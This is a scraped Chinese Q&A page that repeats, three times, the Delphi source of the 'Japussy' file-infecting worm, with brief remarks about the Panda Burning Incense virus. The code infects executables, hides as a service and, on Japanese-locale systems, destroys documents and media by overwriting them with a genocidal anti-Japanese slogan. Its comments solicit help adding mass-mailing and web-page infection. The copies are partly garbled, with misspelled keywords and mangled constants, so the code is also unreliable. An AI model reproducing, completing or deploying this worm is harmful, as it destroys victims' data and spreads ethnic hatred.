IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來，以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//哪位仁兄願意完成之？湯姆感激不盡！
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744位元組)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入垃圾碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入垃圾碼，將文件徹底破壞掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁碟和網路盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄，感染和摧毀文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列，避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶，這個是我最喜歡的！
//哪位大兄弟願意完成之？湯姆感激不盡！
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒，避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之？湯姆感激不盡！
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了，開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end
G. 電腦病毒代碼
病毒代碼是可以給計算機造成破壞的惡意程序的代碼，這個代碼生成的程序就版是病毒。病毒是由一些試圖對他人權電腦進行破壞或者其他商業利益行為而驅使一些人製作的。
H. 聽說電腦病毒是一串代碼
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量
//在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量
{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記
//垃圾碼，以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來，以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//哪位仁兄願意完成之？
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744位元組)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入垃圾碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入垃圾碼，將文件徹底破壞掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁碟和網路盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄，感染和摧毀文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列，避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒，避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList[i] + ':', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之？
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了，開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end.
熊貓燒香的源代碼...具體過程....太麻煩了，一旦做成，你家電腦就廢了，你上網搜熊貓燒香
I. 熊貓燒香病毒怎麼用
小心把自己埋了
沒編程和安全基礎
就是把工具給你也不會用的
盜號不好
如果有興趣就好好學把
「熊貓燒香」， 近日又化身為「金豬報喜」 ，這是一個感染型的蠕蟲病毒，它能感染系統中exe，com，pif，src，html，asp等文件，它還能中止大量的反病毒軟體進程並且會刪除擴展名為gho的文件，該文件是一系統備份工具GHOST的備份文件，使用戶的系統備份文件丟失。被感染的用戶系統中所有.exe可執行文件全部被改成可愛金豬的模樣。
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = EB8; //PE文件主圖標的偏移量
//在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量
{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = BC; //Upx壓縮過PE文件主圖標的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = E8; //PE文件主圖標的大小744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = 444444; //感染標記
//無用碼，以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stDCall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文版操作系統標記
{ 判斷是否為windows 9.X版本 }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來，以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//郵件終止
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to 8 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //小於10240的文件不被感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744位元組)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := 444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 將目標文件寫入無用碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //獲取文件大小
i := 0;
Randomize;
Max := Random(15); //寫入無用碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入無用碼，將文件徹底破壞！
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除
except
end;
end;
{ 獲得可以寫入的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁碟和網路盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄，感染和摧毀文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列，避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒，避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序並開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end.
CMD命令 shutdown -a //取消計算機中病毒後的倒記時關機。
J. 十字架圖標病毒
對的，我們這里也是，不知道是怎麼回事